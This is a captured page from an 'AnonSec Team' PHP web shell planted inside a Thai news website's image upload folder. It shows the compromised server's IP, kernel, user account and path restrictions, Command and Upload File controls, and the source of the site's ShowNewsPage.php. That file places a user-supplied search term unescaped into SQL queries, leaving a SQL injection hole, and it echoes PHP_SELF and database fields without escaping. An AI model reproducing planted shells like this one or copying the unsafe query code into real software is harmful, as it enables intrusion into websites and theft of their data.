AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/../src/../../admin/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/../src/../../admin/../ShowNewsPage.php
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
 ?>
<!DOCTYPE html>
<html>
  <head>
    <title><?php echo $config['web_title'];?></title>
	<meta http-equiv="content-type" content="text/html; charset=UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <?php 
		include ("head-script.php");
  		?>
     
  </head>
   <?php
	include ("Connections/function-sys.php");
	include ("Connections/db.class.php");
	$db = new sql($config['db_server'], $config['db_username'], $config['db_password'], $config['db_name'], $config['db_language']);
  ?>
  <body>
	 <?php 
	 include ("nav-bar.php");
	 include ("PictureHeader.php");
 	 ?>
    <section class="ftco-section contact-section">
      <div class="container">
        <div class="row"  style="min-height: 450px;">
			<!-- Start -->
						<?php
 						 $gID=2;

						$sql="select  status.* from status 	where statusValue='$gID'  and comment='News'  ";
						$arr=$db->getRec($sql);		
						echo <<<DOC
						<div   class="col-sm-12">
							<div   class="row">
								<div  class="col-sm-2">&nbsp;</div>
								<div  class="col-sm-12 ">
										<form class="form-search  pull-right" method="post" id="s" action="$_SERVER[PHP_SELF]">
										<span class="col-lg-11" style="padding-left:1px;padding-right:1px;">
											<input type="text"   name="TxTSeach"   placeholder="ค้นหา" value=""  style="height: 35px;">
										</span>
										<span class="col-lg-1" style="padding-left:1px;padding-right:1px;">
											<button type="submit" class="add-on  btn btn-primary" style="height: 38px;"><i class="fa fa-search" aria-hidden="true"></i></button>
 											<INPUT TYPE="hidden" NAME="gID" value="$gID">
										</span>
									</form>
							</div>
						</div>
 						<div  style="text-align:center; font-size:20px; ">$arr[status]</div><BR>
 						<div class="row">
DOC;
 				  
								if(!empty($_REQUEST['TxTSeach'])){
										$Where=" $Where and  news.aName like '%$_REQUEST[TxTSeach]%' ";
								}
								$sql2="select  distinct news.aYear
											from news 	
											where news.gID='$gID' and news.Approve='T'   $Where order by  news.aYear desc   ";
								$row2=$db->recCount($sql2);
								
								foreach ($db->dbSearch($sql2) as $i=>$arr2) {
										$sql="select  news.*
													from news 	
													where news.gID='$gID' and news.Approve='T'  and news.aYear='$arr2[aYear]'
													$Where order by news.mark desc,news.aID desc   ";
										$row=$db->recCount($sql);
										echo "<div   class=\"col-sm-12\"  style=\"font-size: 20px;text-align: left;color: #FF0000;font-weight: bold;border-bottom:2px solid #FF9900;\">     ปีพ.ศ. $arr2[aYear] </div>
												<div   class=\"col-sm-12\"><BR> </div>
												<div class=\"row\">";
 										foreach ($db->dbSearch($sql) as $i=>$arr) {
											if($i>0 and $i%2==0){
												 echo "<div class=\"col-lg-12\"><BR></div>"; //เว้นบรรทัด
											 }

											$arr[aDate]=ShowAllDate($arr[aDate],1);
											$arr[aName]=htmlspecialchars_decode($arr[aName], ENT_QUOTES);
											$arr[aTitle]=htmlspecialchars_decode($arr[aTitle], ENT_QUOTES);
											$arr[aDesc]=htmlspecialchars_decode($arr[aDesc], ENT_QUOTES);
											echo <<<DOC
													<div class="col-lg-6 col-md-12 single-blog">
														<div class="row">
															<div class="col-lg-6">
																<div class="thumb">
																	<a href="ShowNews.php?aID=$arr[aID]"  target="a$arr[aID]"> <img class="img-fluid" src="admin/images/News/$arr[aImg]" alt="">	</A>				
																</div>
															</div>
															<div class="col-lg-6">
																<a href="ShowNews.php?aID=$arr[aID]"  target="a$arr[aID]"> 
																	<h5>$arr[aName] <BR>
																	<span class="meta" style="font-size:12px;"> $arr[aDate] |  $arr[mName]</span>
																	</h5>
																</a>
																 
																	$arr[aTitle]
																 
															</div>

														</div>	
													</div>
DOC;
												}
									echo "</div><div   class=\"col-sm-12\"> </div>";

								}
								?>
 			<!-- Stop -->
        </div>
      </div>
    </section>
		
	 

			
		 <?php  
		include("PictureFooter.php");
		 include ("footer.php");
		 ?>
    
  </body>
</html>

AnonSec - 2021